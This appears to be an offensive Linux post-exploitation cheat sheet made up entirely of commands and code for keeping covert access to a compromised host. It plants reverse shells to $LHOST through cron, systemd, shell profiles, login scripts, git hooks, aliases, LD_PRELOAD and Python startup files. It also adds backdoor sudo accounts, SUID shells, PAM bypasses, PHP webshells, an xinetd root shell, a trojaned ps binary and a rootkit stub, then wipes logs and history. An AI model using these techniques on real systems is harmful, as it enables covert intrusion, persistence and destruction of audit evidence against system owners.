cat > /etc/cron.hourly/system-update << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/$LHOST/4444 0>&1 &
EOF
chmod +x /etc/cron.hourly/system-update

# Cron with file-based callback (less noisy)
cat > /tmp/.update.sh << 'EOF'
#!/bin/bash
if ! pgrep -f "update_service" > /dev/null; then
    bash -i >& /dev/tcp/$LHOST/4444 0>&1 &
fi
EOF
chmod +x /tmp/.update.sh
(crontab -l 2>/dev/null; echo "*/15 * * * * /tmp/.update.sh") | crontab -

# Systemd timer (modern alternative to cron)
cat > /etc/systemd/system/system-update.timer << 'EOF'
[Unit]
Description=System Update Timer

[Timer]
OnBootSec=5min
OnUnitActiveSec=30min

[Install]
WantedBy=timers.target
EOF

cat > /etc/systemd/system/system-update.service << 'EOF'
[Unit]
Description=System Update Service

[Service]
Type=oneshot
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/$LHOST/4444 0>&1'
EOF

systemctl daemon-reload
systemctl enable system-update.timer
systemctl start system-update.timer

# === SYSTEMD SERVICE PERSISTENCE ===

# Create malicious service
cat > /etc/systemd/system/systemd-logger.service << 'EOF'
[Unit]
Description=System Logger Service
After=network.target

[Service]
Type=simple
ExecStart=/bin/bash -c 'while true; do bash -i >& /dev/tcp/$LHOST/4444 0>&1; sleep 300; done'
Restart=always
RestartSec=300
StandardOutput=null
StandardError=null

[Install]
WantedBy=multi-user.target
EOF

# Enable and start service
systemctl daemon-reload
systemctl enable systemd-logger.service
systemctl start systemd-logger.service

# Hide service from list (rename to legitimate-sounding name)
# Use names like: systemd-resolved-update, systemd-networkd-wait, dbus-policy-update

# User-level systemd service (no root needed)
mkdir -p ~/.config/systemd/user/
cat > ~/.config/systemd/user/update-checker.service << 'EOF'
[Unit]
Description=Update Checker

[Service]
Type=simple
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/$LHOST/4444 0>&1'
Restart=always

[Install]
WantedBy=default.target
EOF

systemctl --user daemon-reload
systemctl --user enable update-checker.service
systemctl --user start update-checker.service

# === USER ACCOUNT PERSISTENCE ===

# Create backdoor user
useradd -m -s /bin/bash -G sudo sysupdate
echo 'sysupdate:P@ssw0rd123' | chpasswd

# Create user with specific UID (blend in)
useradd -u 1337 -m -s /bin/bash -G sudo maintenance
echo 'maintenance:P@ssw0rd123' | chpasswd

# Add user without shell history logging
useradd -m -s /bin/bash operator
echo 'operator:P@ssw0rd123' | chpasswd
usermod -aG sudo operator
echo 'unset HISTFILE' >> /home/operator/.bashrc

# Modify existing user (less detectable)
usermod -aG sudo existing_user
echo 'existing_user:NewPassword123' | chpasswd

# Add user to sudoers directly
echo 'backdoor ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers

# Hide user from login screen (if using display manager)
echo '[User]' > /var/lib/AccountsService/users/backdoor
echo 'SystemAccount=true' >> /var/lib/AccountsService/users/backdoor

# === SUID BACKDOOR ===

# Copy bash with SUID bit
cp /bin/bash /tmp/.hidden_bash
chmod +s /tmp/.hidden_bash
# Execute with: /tmp/.hidden_bash -p

# Alternative locations (less obvious)
cp /bin/bash /var/tmp/.system
chmod +s /var/tmp/.system

cp /bin/bash /dev/shm/.update
chmod +s /dev/shm/.update

# Create minimal SUID binary
cat > /tmp/backdoor.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
    return 0;
}
EOF
gcc /tmp/backdoor.c -o /var/tmp/.sys
chmod +s /var/tmp/.sys
rm /tmp/backdoor.c

# === PAM BACKDOOR ===

# Method 1: Backdoor password in pam_unix.so
# Requires patching PAM module (advanced)
# Example: Accept specific password for any user
# https://github.com/zephrax/linux-pam-backdoor

# Method 2: Add pam_permit.so (allow all authentication)
# WARNING: Very dangerous and easily detected
echo 'auth sufficient pam_permit.so' >> /etc/pam.d/common-auth  # Debian/Ubuntu
echo 'auth sufficient pam_permit.so' >> /etc/pam.d/system-auth  # RHEL/CentOS

# Method 3: SSH PAM backdoor with specific password
# Modify /etc/pam.d/sshd to accept hardcoded password
# Requires custom PAM module

# === LD_PRELOAD PERSISTENCE ===

# Create malicious shared library
cat > /tmp/backdoor.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor))
void init() {
    unsetenv("LD_PRELOAD");
    if (getuid() == 0) {
        system("bash -c 'bash -i >& /dev/tcp/$LHOST/4444 0>&1' &");
    }
}
EOF

gcc -fPIC -shared -o /usr/local/lib/libprocessing.so /tmp/backdoor.c -nostartfiles
rm /tmp/backdoor.c

# Add to ld.so.preload (loaded by all processes)
echo "/usr/local/lib/libprocessing.so" >> /etc/ld.so.preload

# Alternative: Add to user profile
echo 'export LD_PRELOAD=/usr/local/lib/libprocessing.so' >> ~/.bashrc

# === LIBRARY HIJACKING ===

# Find writable library directories
find /usr/lib /lib -writable -type d 2>/dev/null

# Replace or create malicious library
# Example: Hijack common library
cp /usr/lib/x86_64-linux-gnu/security/pam_unix.so /tmp/pam_unix.so.bak
# Create malicious pam_unix.so with backdoor

# === BASHRC/PROFILE PERSISTENCE ===

# Current user
echo 'bash -i >& /dev/tcp/$LHOST/4444 0>&1 &' >> ~/.bashrc
echo 'bash -i >& /dev/tcp/$LHOST/4444 0>&1 &' >> ~/.bash_profile

# All users
echo 'bash -i >& /dev/tcp/$LHOST/4444 0>&1 &' >> /etc/bash.bashrc  # Debian/Ubuntu
echo 'bash -i >& /dev/tcp/$LHOST/4444 0>&1 &' >> /etc/bashrc  # RHEL/CentOS

# System-wide profile
echo 'bash -i >& /dev/tcp/$LHOST/4444 0>&1 &' >> /etc/profile

# Less detectable: Check before executing
cat >> ~/.bashrc << 'EOF'
if [ -z "$SHELL_LOADED" ]; then
    export SHELL_LOADED=1
    (bash -i >& /dev/tcp/$LHOST/4444 0>&1 &) 2>/dev/null
fi
EOF

# === MOTD/LOGIN SCRIPT PERSISTENCE ===

# Message of the day scripts (executed on SSH login)
cat > /etc/update-motd.d/99-custom << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/$LHOST/4444 0>&1 &
EOF
chmod +x /etc/update-motd.d/99-custom

# SSH forced commands (execute on SSH login)
echo 'ForceCommand /usr/local/bin/update-check.sh' >> /etc/ssh/sshd_config
cat > /usr/local/bin/update-check.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/$LHOST/4444 0>&1 &
exec $SHELL
EOF
chmod +x /usr/local/bin/update-check.sh
systemctl restart sshd

# === KERNEL MODULE PERSISTENCE ===

# Create malicious kernel module (advanced)
# Requires kernel headers and development environment
cat > /tmp/rootkit.c << 'EOF'
#include <linux/init.h>
#include <linux/module.h>
#include <linux/kernel.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("System");
MODULE_DESCRIPTION("System Module");

static int __init rootkit_init(void) {
    printk(KERN_INFO "System module loaded\n");
    // Add backdoor functionality
    return 0;
}

static void __exit rootkit_exit(void) {
    printk(KERN_INFO "System module unloaded\n");
}

module_init(rootkit_init);
module_exit(rootkit_exit);
EOF

# Makefile
cat > /tmp/Makefile << 'EOF'
obj-m += rootkit.o
all:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
EOF

cd /tmp && make
insmod rootkit.ko

# Auto-load on boot
echo "rootkit" >> /etc/modules
cp rootkit.ko /lib/modules/$(uname -r)/kernel/drivers/

# === INIT SCRIPT PERSISTENCE (SYSV) ===

# For older systems using SysV init
cat > /etc/init.d/system-updater << 'EOF'
#!/bin/bash
### BEGIN INIT INFO
# Provides:          system-updater
# Required-Start:    $network $remote_fs
# Required-Stop:     $network $remote_fs
# Default-Start:     2 3 4 5
# Default-Stop:      0 1 6
# Short-Description: System Update Service
### END INIT INFO

bash -i >& /dev/tcp/$LHOST/4444 0>&1 &
EOF

chmod +x /etc/init.d/system-updater
update-rc.d system-updater defaults  # Debian/Ubuntu
chkconfig system-updater on  # RHEL/CentOS

# === AT JOB PERSISTENCE ===

# Schedule backdoor execution
echo 'bash -i >& /dev/tcp/$LHOST/4444 0>&1' | at now + 10 minutes
echo 'bash -i >& /dev/tcp/$LHOST/4444 0>&1' | at 02:00 tomorrow

# Recurring at job (create script that reschedules itself)
cat > /tmp/persist.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/$LHOST/4444 0>&1 &
echo "/tmp/persist.sh" | at now + 1 hour
EOF
chmod +x /tmp/persist.sh
echo "/tmp/persist.sh" | at now + 1 hour

# === CONTAINER PERSISTENCE ===

# Docker container with mounted root filesystem
docker run -v /:/mnt --name backdoor -d alpine sh -c "while true; do chroot /mnt bash -c 'bash -i >& /dev/tcp/$LHOST/4444 0>&1'; sleep 300; done"

# Modify existing container
docker exec -it <container_id> bash
# Add persistence mechanisms inside container

# === GIT HOOK PERSISTENCE ===

# If git repositories exist
find / -name ".git" -type d 2>/dev/null

# Add post-commit hook
cat > /path/to/repo/.git/hooks/post-commit << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/$LHOST/4444 0>&1 &
EOF
chmod +x /path/to/repo/.git/hooks/post-commit

# === ALIAS PERSISTENCE ===

# Add malicious aliases
cat >> ~/.bash_aliases << 'EOF'
alias ls='bash -i >& /dev/tcp/$LHOST/4444 0>&1 & /bin/ls'
alias sudo='bash -i >& /dev/tcp/$LHOST/4444 0>&1 & /usr/bin/sudo'
EOF

# System-wide aliases (if writable)
cat >> /etc/bash.bashrc << 'EOF'
alias ls='bash -i >& /dev/tcp/$LHOST/4444 0>&1 & /bin/ls'
EOF

# === PYTHON SITE-PACKAGES PERSISTENCE ===

# Add malicious Python startup file
cat > /usr/lib/python3/dist-packages/sitecustomize.py << 'EOF'
import os
import subprocess
try:
    subprocess.Popen(['bash', '-c', 'bash -i >& /dev/tcp/$LHOST/4444 0>&1 &'])
except:
    pass
EOF

# User-specific Python startup
echo 'import os; os.system("bash -i >& /dev/tcp/$LHOST/4444 0>&1 &")' > ~/.pythonrc
export PYTHONSTARTUP=~/.pythonrc

# === WEBSHELL PERSISTENCE ===

# PHP webshell
cat > /var/www/html/.config.php << 'EOF'
<?php
if(isset($_GET['cmd'])) {
    system($_GET['cmd']);
}
?>
EOF

# Hidden in legitimate file
cat >> /var/www/html/index.php << 'EOF'
<?php
if(isset($_GET['debug']) && $_GET['debug'] == 'true') {
    eval($_POST['code']);
}
?>
EOF

# === BOOTLOADER PERSISTENCE (ADVANCED) ===

# Add backdoor to GRUB configuration
echo 'init=/bin/bash' >> /etc/default/grub
update-grub

# === NETWORK SERVICE PERSISTENCE ===

# Xinetd service (if xinetd is installed)
cat > /etc/xinetd.d/backdoor << 'EOF'
service backdoor
{
    disable = no
    socket_type = stream
    protocol = tcp
    wait = no
    user = root
    port = 31337
    server = /bin/bash
    server_args = -i
}
EOF
systemctl restart xinetd

# === MODIFIED BINARY PERSISTENCE ===

# Replace legitimate binary with backdoored version
cp /usr/bin/ps /tmp/ps.bak
cat > /tmp/wrapper.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/$LHOST/4444 0>&1 &
/tmp/ps.bak "$@"
EOF
chmod +x /tmp/wrapper.sh
mv /tmp/wrapper.sh /usr/bin/ps

# === CLEANUP & OPSEC ===

# Clear command history
history -c
echo "" > ~/.bash_history
unset HISTFILE

# Remove logs
rm -rf /var/log/auth.log*
rm -rf /var/log/secure*
echo "" > /var/log/wtmp
echo "" > /var/log/btmp
echo "" > /var/log/lastlog

# Hide process from process list (requires kernel module or LD_PRELOAD)
# See rootkit development resources

# Timestamp manipulation (avoid suspicion)
touch -r /etc/passwd /path/to/backdoor/file
touch -d "2023-01-01 00:00:00" /path/to/backdoor/file

# Hide files
chattr +i /path/to/backdoor  # Make immutable
chattr +h /path/to/backdoor  # Hide from ls (requires special kernel patch)